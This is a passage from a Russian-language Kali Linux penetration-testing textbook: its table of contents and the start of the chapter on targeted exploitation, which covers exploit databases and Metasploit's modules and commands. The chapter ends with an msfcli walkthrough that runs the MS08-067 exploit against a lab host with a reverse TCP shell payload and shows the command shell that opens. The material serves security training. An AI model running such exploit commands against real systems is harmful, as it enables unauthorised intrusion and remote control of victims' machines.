

# Оглавление

Составители .....	16
Авторы .....	16
Рецензенты .....	18
Введение .....	19
Для кого предназначена книга .....	19
Структура издания .....	19
Как получить максимальную пользу от этой книги .....	21
Условные обозначения .....	21
От издательства .....	22
<b>Глава 1. Установка и настройка Kali Linux .....</b>	<b>23</b>
Технические условия .....	23
Категории инструментов Kali Linux .....	23
Загрузка Kali Linux .....	26
Начинаем работать с Kali Linux .....	29
Запуск Kali Linux с Live DVD .....	29
Установка на жесткий диск .....	30
Установка Kali на USB .....	43
Настройка виртуальной машины .....	45
Гостевые дополнения VirtualBox .....	45
Настройка сети .....	47
Обновление Kali Linux .....	51
Настройка Kali Linux AMI в облаке Amazon AWS .....	52

Резюме.....	62
Вопросы .....	63
Дополнительные материалы .....	63
<b>Глава 2. Создание испытательной лаборатории.....</b>	<b>64</b>
Технические требования.....	64
Физическая или виртуальная?.....	65
Настройка Windows на виртуальной машине.....	65
Установка уязвимых серверов.....	71
Настройка Metasploitable 2 на виртуальной машине.....	71
Настройка Metasploitable 3 на виртуальной машине.....	73
Предварительная настройка Metasploitable 3.....	77
Установка и настройка BadStore на виртуальной машине .....	78
Установка дополнительных инструментов в Kali Linux .....	84
Сетевые сервисы в Kali Linux .....	85
HTTP.....	85
MySQL.....	86
SSH.....	87
Дополнительные лаборатории и ресурсы.....	88
Резюме.....	90
Вопросы .....	91
Дополнительные материалы .....	91
<b>Глава 3. Методология тестирования на проникновение .....</b>	<b>92</b>
Технические условия .....	92
Методология тестирования на проникновение .....	92
Руководство по тестированию OWASP .....	93
PCI-руководство по тестированию на проникновение .....	94
Стандартное проведение тестов на проникновение .....	95
NIST 800-115 .....	95
Руководство по методологии тестирования безопасности с открытым исходным кодом .....	96
Фреймворк: общее тестирование на проникновение.....	96
Разведка.....	97
Сканирование и перечисление.....	98
Получение доступа.....	104

Повышение привилегий .....	109
Поддержание доступа .....	109
Заметание следов .....	110
Составление отчета .....	110
Резюме .....	111
<b>Глава 4. Получение отпечатка и сбор информации.....</b>	<b>112</b>
Разведка по открытым источникам .....	113
Использование общих ресурсов.....	113
Запрос сведений о регистрации домена .....	114
Анализ записей DNS .....	115
Получение имени хоста .....	116
dig: техники разведывания DNS .....	117
DMitry: магический инструмент для сбора информации .....	118
Maltego: графическое отображение собранной информации.....	120
Получение сведений о сетевой маршрутизации.....	127
tcptracroute.....	127
tctrace .....	128
Используем поисковик.....	129
Взлом базы данных Google (GHDB).....	131
Metagoofil .....	133
Автоматизированные инструменты для снятия отпечатков и сбора информации.....	137
Devploit.....	137
RedHawk v2.....	140
Использование Shodan для поиска подключенных к Интернету устройств ....	142
Blue-Thunder-IP-локатор.....	144
Резюме .....	147
Вопросы .....	148
Дополнительные материалы .....	148
<b>Глава 5. Методы сканирования и уклонения .....</b>	<b>149</b>
Технические условия .....	149
Начинаем с обнаружения цели.....	149

Идентификация целевой машины.....	150
ping.....	150
fping.....	153
hping3.....	155
Получение отпечатков ОС.....	158
Введение в сканирование портов.....	161
Изучаем протокол TCP/IP.....	161
Тонкости форматов сообщений TCP и UDP.....	163
Сетевой сканер.....	166
Что такое Nmap.....	167
Спецификация цели.....	169
Параметры сканирования TCP.....	171
Сканирование UDP.....	173
Спецификация порта Nmap.....	173
Параметры вывода Nmap.....	175
Параметры синхронизации.....	177
Полезные параметры Nmap.....	178
Nmap для сканирования IPv6.....	181
Сценарный движок Nmap.....	182
Параметры Nmap для обхода идентификаторов брандмауэра.....	186
Сканирование с Netdiscover.....	187
Автоматическое сканирование с помощью Striker.....	188
Анонимность с помощью Nipe.....	191
Резюме.....	193
Вопросы.....	193
Дополнительные материалы.....	194
<b>Глава 6. Сканирование уязвимостей.....</b>	<b>195</b>
Технические требования.....	196
Типы уязвимостей.....	196
Локальные уязвимости.....	196
Удаленная уязвимость.....	197
Систематизация уязвимостей.....	197

Автоматическое сканирование уязвимостей .....	198
Nessus 7 .....	198
OpenVAS .....	206
Сканирование уязвимостей Linux с помощью Lynis.....	212
Сканирование и перечисление уязвимостей с помощью SPARTA.....	217
Резюме .....	222
Вопросы .....	223
Дополнительные материалы .....	223
<b>Глава 7. Социальная инженерия .....</b>	<b>224</b>
Технические условия .....	225
Моделирование психологии человека .....	225
Процесс атаки .....	225
Методы атаки .....	226
Подражание.....	227
Взаимный обмен.....	227
Влияние авторитета .....	228
Использование жадности.....	228
Налаживание социальных взаимоотношений.....	229
Сила любопытства.....	229
Инструменты социальной инженерии.....	229
Анонимная USB-атака .....	231
Сбор учетных данных .....	235
Вредоносный Java-апплет .....	238
Резюме .....	242
<b>Глава 8. Целевая эксплуатация .....</b>	<b>243</b>
Исследование уязвимости.....	243
Хранилища уязвимостей и эксплойтов .....	245
Расширенный инструментарий эксплуатации.....	246
MSFConsole .....	247
MSFCLI .....	249
Ninja 101 drills .....	251
Сценарий 1 .....	251

Сценарий 2 .....	252
Сценарий 3 .....	255
Написание модулей эксплойта .....	263
Резюме .....	267
<b>Глава 9. Повышение привилегий и поддержание доступа.....</b>	<b>268</b>
Технические требования.....	268
Повышение привилегий.....	268
Локальная эксплуатация .....	269
Инструменты подбора пароля .....	273
Инструменты для автономной атаки .....	274
Инструменты онлайн-атаки .....	281
Поддержание доступа .....	287
Бэкдор для входа в операционную систему .....	287
Резюме .....	292
<b>Глава 10. Тестирование веб-приложений .....</b>	<b>293</b>
Технические требования.....	293
Веб-анализ .....	294
nikto .....	294
OWASP ZAP .....	296
Burp Suite.....	299
Прокси-сервер Paros.....	309
W3AF .....	311
WebScarab.....	314
Межсайтовые сценарии.....	316
Тестирование XSS .....	316
SQL-инъекция .....	320
Инструкция для SQL-инъекции.....	321
Автоматическая SQL-инъекция .....	323
Выполнение команд, обход каталогов и включение файлов .....	326
Обход каталогов и включение файлов .....	327
Выполнение команд .....	330
Резюме .....	334
Дополнительные материалы .....	335

<b>Глава 11. Тестирование беспроводных сетей на проникновение</b> .....	336
Технические требования.....	337
Беспроводная сеть.....	337
Обзор стандарта IEEE 802.11 .....	337
Протокол безопасности беспроводных локальных сетей .....	338
Защищенный доступ Wi-Fi (WPA) .....	339
Разведка в беспроводной сети.....	340
Антенны.....	341
Iwlist .....	341
Kismet.....	342
WAIDPS.....	344
Инструменты тестирования беспроводной сети .....	346
Aircrack-ng.....	347
PixieWPS .....	359
Wifite .....	359
Fern Wifi Cracker.....	361
Атака «злой двойник» .....	364
После взлома.....	368
MAC-спуфинг .....	369
Устойчивость.....	370
Анализ беспроводного трафика.....	372
Анализ WLAN-трафика.....	372
Пассивный анализ .....	376
Резюме.....	380
<b>Глава 12. Мобильное тестирование на проникновение с Kali NetHunter</b> .....	381
Технические требования.....	381
Kali NetHunter .....	381
Развертывание.....	382
Развертывание сети.....	382
Развертывание беспроводной сети .....	382
Развертывание узла.....	383
Установка Kali NetHunter .....	383
Значки NetHunter .....	384

Инструменты NetHunter .....	386
Nmap .....	386
Metasploit .....	388
Преобразователь MAC .....	391
Сторонние приложения Android .....	392
Приложение NetHunter Terminal .....	392
DriveDroid .....	393
USB-клавиатура .....	393
Shodan .....	394
Router Keygen .....	394
cSploit .....	395
Беспроводные атаки .....	396
Беспроводное сканирование .....	397
WPA/WPA2-взлом .....	398
WPS-взлом .....	399
Атака «злой двойник» .....	401
HID-атаки .....	406
Резюме .....	409
Вопросы .....	410
Дополнительные материалы .....	410
<b>Глава 13. PCI DSS: сканирование и тестирование на проникновение .....</b>	<b>411</b>
PCI DSS v3.2.1, требование 11.3 .....	412
Определение области испытания на проникновение PCI DSS .....	413
Сбор требований клиентов .....	415
Создание формы требования заказчика .....	415
Подготовка плана испытаний .....	416
Контрольный список плана тестирования .....	418
Границы профилирования теста .....	419
Определение бизнес-целей .....	420
Управление проектами и планирование .....	421
Инструменты для выполнения теста на проникновение в платежные системы .....	422
Резюме .....	424
Вопросы .....	424
Дополнительные материалы .....	424



<b>Глава 14. Инструменты для создания отчетов о тестировании</b>	
на проникновение .....	426
Технические условия .....	427
Документация и проверка результатов .....	427
Типы отчетов.....	428
Исполнительный доклад.....	429
Отчет для руководства.....	429
Технический отчет.....	430
Отчет о тестировании проникновения в сеть.....	431
Подготовка презентации .....	432
Процедуры после тестирования .....	433
Использование структуры Dradis для составления отчетности по тестированию на проникновение.....	434
Инструменты отчетности по тестированию на проникновение .....	439
Faraday IDE.....	439
MagicTree.....	440
Резюме.....	441
Вопросы .....	441
Дополнительные материалы .....	442
Ответы на вопросы .....	443
Глава 1 .....	443
Глава 2 .....	443
Глава 4 .....	443
Глава 5 .....	444
Глава 6 .....	444
Глава 12.....	445
Глава 13.....	445
Глава 14.....	445

# 8

## Целевая эксплуатация

*Целевая эксплуатация* — одна из областей, в которой, помимо оценки уязвимостей, выполняется тест на проникновение. Теперь, когда уязвимости найдены, для получения доступа и полного контроля над целевой системой вы можете воспользоваться найденными уязвимостями. В этой главе мы рассмотрим методы и инструменты, используемые для эксплуатации найденных уязвимостей в реальном мире.

- ❑ Мы объясним, на что обратить внимание при исследовании найденных слабых мест, прежде чем трансформировать уязвимость в практический код эксплойта.
- ❑ Мы приведем пример нескольких репозиторий общедоступных эксплойтов и расскажем, как и когда их можно задействовать.
- ❑ Мы расскажем об использовании одного печально известного инструмента с точки зрения оценки цели. Это вам даст четкое представление о том, как пользоваться инструментами для получения доступа к конфиденциальной информации. В разделе «Расширенный инструментарий эксплуатации» вы найдете несколько практических упражнений.
- ❑ В конце главы мы попытаемся кратко описать шаги по созданию простого модуля эксплойта для Metasploit.

Написание кода эксплойта с нуля — трудоемкая и дорогостоящая задача, требующая дополнительных знаний. Облегчить себе работу можно, воспользовавшись общедоступными эксплойтами. Хотя изменение структуры такого эксплойта в соответствии с целевой средой также потребует некоторого опыта. Мы настоятельно рекомендуем вам использовать в ваших испытаниях общедоступные эксплойты, чтобы лучше понять, как написать и запустить собственный код эксплойта.

## Исследование уязвимости

Понимание возможностей конкретного программного или аппаратного продукта может послужить отправной точкой для изучения уязвимостей, возможно существующих в этом продукте. Исследование уязвимостей — задача непростая, и она не решается одним щелчком кнопкой мыши. Следовательно, для проведения анализа безопасности требуется мощная база знаний, определяемая следующими факторами.

- ❑ **Навыки программирования.** Для этических хакеров это фундаментальный фактор. Изучение основных концепций и структур, характерных для любого языка программирования, предоставит тестеру преимущество при поиске уязвимостей. Вы должны не только иметь базовые знания о языках программирования, но и разбираться в работе процессоров, системной памяти, буферов, указателей, типов данных, регистров и кэша. Эти понятия реализуемы практически на любом языке программирования, в том числе C/C++, Python, Perl и Assembly.



Чтобы узнать основы написания кода эксплойта из обнаруженной уязвимости, посетите страницу <http://www.phreedom.org/presentations/exploitcode-development/exploit-code-development.pdf>.

- ❑ **Инженерный анализ.** Еще одна обширная область для обнаружения уязвимостей, которые могут существовать в электронном устройстве, программном обеспечении или системе, путем анализа функций этого устройства, структур и операций. Цель состоит в том, чтобы вывести код из данной системы без какого-либо предварительного знания о ее внутренней работе; изучить ее на наличие сбойных ситуаций, плохо спроектированных функций и протоколов; проверить граничные условия. Здесь потребуются навыки обратного проектирования, такие как удаление защиты авторских прав из программного обеспечения, аудит безопасности, конкурентная техническая разведка, выявление нарушения патентных прав, способность к взаимодействию, понимание рабочего процесса продукта и получение конфиденциальных данных. Обратное проектирование добавляет два уровня концепции для изучения кода приложения: аудит исходного кода и двоичный аудит. Дизассемблеры и декомпиляторы — два общих типа инструментов, которые могут помочь аудитору в двоичном анализе. Дизассемблеры генерируют код сборки из скомпилированной двоичной программы, в то время как декомпиляторы генерируют код языка высокого уровня из скомпилированной двоичной программы. Однако работа с любым из этих инструментов является довольно сложной и требует знаний и тщательной оценки.
- ❑ **Инструментальные средства.** Такие средства, как отладчики, экстракторы данных, затуманиватели, профилировщики, просмотрщики кода, анализаторы потока и мониторы памяти, играют важную роль в процессе обнаружения уязвимостей и обеспечивают согласованную среду для целей тестирования. Объяснение каждой из этих категорий инструментов выходит за рамки данной книги. Тем не менее вы можете найти несколько полезных инструментов, уже присутствующих в Kali Linux. Чтобы вы могли отслеживать последние инструменты разработки обратного кода, мы настоятельно рекомендуем вам посетить онлайн-библиотеку по адресу [http://www.woodmann.com/collaborative/tools/index.php/Category:RCE\\_Tools](http://www.woodmann.com/collaborative/tools/index.php/Category:RCE_Tools).
- ❑ **Создание и использование полезной нагрузки.** Это последний шаг в написании кода точки контроля (PoC) для уязвимого элемента приложения, с помощью которого тестер на проникновение может выполнять на целевой машине поль-

зовательские команды. Мы воспользуемся знаниями уязвимых приложений со стадии обратного проектирования и доработаем код оболочки с механизмом кодирования так, чтобы исключить неприемлемые символы, которые могут преждевременно завершить работу эксплойта.

Для выполнения произвольного кода или команды на целевой системе очень важно следовать определенной стратегии, обусловленной типом и классификацией обнаруженной уязвимости. Как профессиональный тестер на проникновение, вы всегда будете искать лазейки, которые приведут к получению доступа оболочки к целевой операционной системе. В одном из следующих разделов главы мы продемонстрируем несколько сценариев с фреймворком Metasploit, в которых покажем, как применить эти методы и инструменты.

## Хранилища уязвимостей и эксплойтов

На протяжении многих лет общество периодически узнавало о ряде найденных в ПО уязвимостей. Некоторые из них были раскрыты с помощью кода эксплойта PoC, но многие до сих пор остаются без внимания. Конкурентная эпоха поиска общедоступных эксплойтов и информации об уязвимостях облегчает тестерам на проникновение быстрый поиск и извлечение наилучшего доступного эксплойта, который подходит для конкретной целевой системной среды. Если у вас есть навыки программирования и четкое понимание архитектуры конкретной ОС, вы можете перенести один тип эксплойта на другой (например, архитектуру Win32 на архитектуру Linux). Мы предоставляем комбинированный набор онлайн-репозиторий, которые могут помочь вам отслеживать любую информацию об уязвимости или ее эксплойт.

Не каждая обнаруженная уязвимость была раскрыта общественности. Часто информация о некоторых уязвимостях сообщается без какого-либо кода эксплойта PoC. А бывает так, что подробная информация об обнаруженной уязвимости не предоставляется вообще. По этой причине многие аудиторы безопасности нередко консультируют сразу несколько интернет-ресурсов.

Ниже представлен список онлайн-баз.

Имя репозитория	Адрес сайта
Bugtraq SecurityFocus	<a href="http://www.securityfocus.com">http://www.securityfocus.com</a>
OSVDB Packet Stormulnerabilities	<a href="https://blog.osvdb.org/">https://blog.osvdb.org/</a>
Packet Storm	<a href="http://www.packetstormsecurity.org">http://www.packetstormsecurity.org</a>
National Vulnerability Database	<a href="http://nvd.nist.gov">http://nvd.nist.gov</a>
IBM ISS X-Force	<a href="https://exchange.xforce.ibmcloud.com/">https://exchange.xforce.ibmcloud.com/</a>
US-CERT Vulnerability Notes	<a href="http://www.kb.cert.org/vuls">http://www.kb.cert.org/vuls</a>
US-CERT Alerts	<a href="http://www.us-cert.gov/cas/techalerts/">http://www.us-cert.gov/cas/techalerts/</a>

*Продолжение* ↗

*(Продолжение)*

Имя репозитория	Адрес сайта
SecuriTeam	<a href="http://www.securiteam.com">http://www.securiteam.com</a>
Secunia Advisories	<a href="http://secunia.com/advisories/historic/">http://secunia.com/advisories/historic/</a>
CXSecurity.com	<a href="http://cxsecurity.com">http://cxsecurity.com</a>
XSSed XSS-Vulnerabilities	<a href="http://www.xssed.com">http://www.xssed.com</a>
Security Vulnerabilities Database	<a href="http://securityvulns.com">http://securityvulns.com</a>
SEBUG	<a href="http://www.sebug.net">http://www.sebug.net</a>
MediaService Lab	<a href="http://techblog.mediaservice.net">http://techblog.mediaservice.net</a>
Intelligent Exploit Aggregation Network	<a href="http://www.intelligentexploit.com">http://www.intelligentexploit.com</a>

Здесь перечислены только некоторые интернет-ресурсы из множества существующих. Kali Linux поставляется с интегрированной базой данных эксплоитов от Offensive Security. На сегодняшний день это обеспечивает дополнительное преимущество хранения в вашей системе всех архивированных эксплоитов и их дальнейшее использование. Чтобы получить доступ к Exploit-DB, выполните в терминале следующие команды:

```
# cd /usr/share/exploitdb/
# vim files.csv
```

Это откроет полный список эксплоитов, доступных в настоящее время из Exploit-DB по адресу `/usr/share/exploitdb/platforms/directory`.

Данные эксплоиты классифицированы в соответствующих подкаталогах на основе типа системы (Windows, Linux, HP-UX, Novell, Solaris, BSD, IRIX, TRU64, ASP, PHP и т. д.). Большинство из них были разработаны с использованием языков программирования C, Perl, Python, Ruby, PHP. Kali Linux уже поставляется с несколькими компиляторами и интерпретаторами, которые поддерживают выполнение этих эксплоитов.

Как извлечь конкретную информацию из списка эксплоитов? Используя мощные команды Bash, вы можете вывести любой текстовый файл для извлечения значимых данных. Для этого воспользуйтесь Searchsploit или введите в консоль команду `cat files.csv | cut -d", " -f3`. Searchsploit начнет извлекать список заголовков эксплоитов из файла `files.csv`. Чтобы узнать основные команды оболочки, обратитесь по адресу <http://tldp.org/LDP/abs/html/index.html>.

## Расширенный инструментарий эксплуатации

По умолчанию в Kali Linux уже загружено несколько лучших и самых передовых инструментов эксплуатации. Одним из них является платформа Metasploit (<http://www.metasploit.com>). Далее мы расскажем о ней более подробно и представим ряд сценариев, которые повысят производительность этого инструмента

и улучшат ваш опыт тестирования на проникновение. Фреймворк разработан на языке программирования Ruby и поддерживает модульность. Эти меры позволяют испытателю на проникновение, обладающему хорошими навыками в программировании, расширить или разработать пользовательские плагины и инструменты.

Архитектура фреймворка разделена на три категории: библиотеки, интерфейсы и модули. В этом упражнении мы сосредоточимся на возможностях различных интерфейсов и модулей. Интерфейсы (консоль, CLI и GUI) в основном обеспечивают внешнюю операционную деятельность при работе с любым типом модулей (эксплойты, полезные нагрузки, вспомогательные устройства и NOP). Каждый из таких модулей имеет свое назначение и функции, характерные для процесса тестирования на проникновение.

- ❑ **Exploit (Эксплуатация)**. Этот модуль представляет собой код PoC, разработанный для использования конкретной уязвимости в целевой системе.
- ❑ **Payload (Полезная нагрузка)**. Модуль представляет собой вредоносный код, предназначенный для встраивания в эксплойт. Такой вредоносный код может быть самостоятельно скомпилирован для выполнения произвольных команд в целевой системе.
- ❑ **Auxiliaries (Оснастка)**. Данные модули представляют собой набор инструментов, разработанных для выполнения сканирования, перехвата и анализа, защиты, снятия отпечатков пальцев и других задач оценки безопасности.
- ❑ **Encoders (Датчики)**. Эти модули предназначены для предотвращения обнаружения антивируса, брандмауэра, IDS/IPS и других подобных вредоносных программ путем кодирования полезной нагрузки во время операции проникновения.
- ❑ **No Operation or No Operation Performed (NOP) (Нет операции или операция не выполняется)**. Модуль является инструкцией на языке ассемблера, часто добавляемой в код оболочки для выполнения только согласованного фрагмента полезной нагрузки.

Далее мы объясним основное назначение двух известных интерфейсов Metasploit и приведем соответствующие параметры командной строки. Каждый интерфейс имеет свои достоинства и недостатки. Однако мы настоятельно рекомендуем придерживаться консольной версии, поскольку она поддерживает большинство функций платформы.

## MSFConsole

*MSFConsole* — один из самых эффективных внешних интерфейсов, содержащий несколько мощных инструментов. Он позволяет испытателям на проникновение добиться максимальной пользы при эксплуатации уязвимостей. Чтобы получить доступ к MSFconsole, выберите в основном меню Kali Linux

команду Applications ▶ Exploitation Tools ▶ Metasploit (Приложения ▶ Инструменты эксплуатации ▶ Metasploit) или введите в командную строку терминала и выполните следующую команду:

```
# msfconsole
```

Откроется интерфейс интерактивной консоли. Чтобы узнать обо всех доступных командах, введите следующее:

```
msf> help
```

На экране отобразится два набора команд. Один набор будет широко использоваться в фреймворке, а другой набор представляет собой специальные команды для программно-аппаратной части базы данных, в которой хранятся параметры оценки и результаты. Инструкции о других параметрах использования можно получить с помощью команды `-h`, следующей за командой `core`. Рассмотрим команду `show`:

```
msf> show -h
[*] Valid parameters for the "show" command are: all, encoders, nops,
exploits, payloads, auxiliary, plugins, options
[*] Additional module-specific parameters are: advanced, evasion,targets,
actions
```

Эта команда обычно применяется для отображения или всех модулей, или доступных модулей данного типа. Ниже приведены наиболее часто используемые команды.

- ❑ `show auxiliary` — отобразит все вспомогательные модули.
- ❑ `show exploits` — после введения этой команды вы увидите список всех эксплойтов в рамках исследуемой платформы.
- ❑ `show payloads` — покажет список полезных нагрузок для всех платформ. Однако использование той же команды в контексте выбранного эксплойта приведет к выводу только совместимых полезных нагрузок. Например, полезные нагрузки Windows будут отображаться только с совместимыми с Windows эксплойтами.
- ❑ `show encoders` — команда отобразит список доступных датчиков (энкодеров).
- ❑ `shownops` — с помощью этой команды вы увидите список всех доступных генераторов NOP.
- ❑ `show options` — предназначена для отображения настроек и параметров, доступных для конкретного модуля.
- ❑ `show targets` — команда поможет извлечь список целевых ОС, поддерживаемых конкретным модулем.
- ❑ `show advanced` — предоставит вам больше возможностей для точной настройки выполнения эксплойта.

В следующей таблице мы представили краткий список наиболее часто употребляемых команд. Вы можете использовать каждую из них, вводя в консоль Metasploit.

Команда	Описание
check	Проверяет конкретный эксплойт против вашей уязвимой цели без его использования. Эта команда не поддерживается многими эксплойтами
connectip port	Работает аналогично инструментам Netcat и Telnet
exploit	Запускает выбранный эксплойт
run	Запускает выбранный вспомогательный модуль
jobs	Показывает список всех запущенных фоновых модулей
route add subnet netmasksessionid	Добавляет через скомпрометированный сеанс маршрут с целевого компьютера на компьютер-тестировщик
info module	Отображает подробную информацию о конкретном модуле (Exploit, Auxiliary и т. д.)
setparam value	Настраивает в текущем модуле значение параметра
setgparam value	Позволяет задать значение глобального параметра для фреймворка. Эти параметры будут использоваться всеми эксплойтами и вспомогательными модулями
unsetparam	Команда, обратная команде set. Вы также можете сбросить все переменные сразу, указав unset all
unsetgparam	Позволяет убрать одну или несколько глобальных переменных
sessions	Позволяет показать и завершить целевой сеанс, а также взаимодействовать с ним. Используйте -l для перечисления, -i для взаимодействия с сеансом и -k для его завершения
search string	Предоставляет средство поиска модулей по их именам и описаниям
use module	Выбор конкретного модуля для тестирования на проникновение

В следующих разделах приведены примеры практического применения некоторых из этих команд. Вам важно понять, как они используются с различными наборами модулей фреймворка.

## MSFCLI

Как и интерфейс MSFConsole, CLI работает с различными модулями, которые можно запустить в одном экземпляре. Однако ему не хватает новейших функций автоматизации, которые есть в MSFConsole.

Чтобы запустить msfcli, введите в командной строке терминала следующую команду:

```
# msfcli -x
```



Она отобразит все доступные режимы, аналогичные режимам MSFConsole, а также инструкции, с помощью которых можно вызвать нужный модуль и установить его параметры. Обратите внимание, что все переменные или параметры должны соответствовать условию `param=value`, а вводимые параметры зависят от регистра. Ниже представлен небольшой пример, в котором мы выберем и выполним конкретный эксплойт:

```
# msfcli windows/smb/ms08_067_netapi 0
[*] Please wait while we load the module tree...
Name      Current Setting  Required  Description
----      -
RHOST          yes          The target address
RPORT    445            yes          Set the SMB service port SMBPI
BROWSER       yes          The pipe name to use (BROWSER, SRVSVC)
```

Параметр `0` в конце предыдущей команды указывает платформе на отображение доступных опций для выбранного эксплойта. В следующей команде с помощью параметра `RHOST` мы задаем целевой IP-адрес:

```
# msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7 P
[*] Please wait while we load the module tree...
Compatible payloads
=====
      Name                Description
      ----                -
generic/debug_trap      Generate a debug trap in the target process
generic/shell_bind_tcp  Listen for a connection and spawn a command shell
...

```

Теперь, когда мы с помощью параметра `RHOST` установили IP целевой машины, пришло время выбрать согласованную полезную нагрузку и выполнить наш эксплойт:

```
# msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7
LHOST=192.168.0.3 PAYLOAD=windows/shell/reverse_tcp E
[*] Please wait while we load the module tree...
[*] Started reverse handler on 192.168.0.3:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.0.7
[*] Command shell session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1027)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:WINDOWS\system32>
```

Как вы можете видеть, после установки параметра `LHOST` для выбранной полезной нагрузки мы получили локальный доступ оболочки к нашей целевой машине.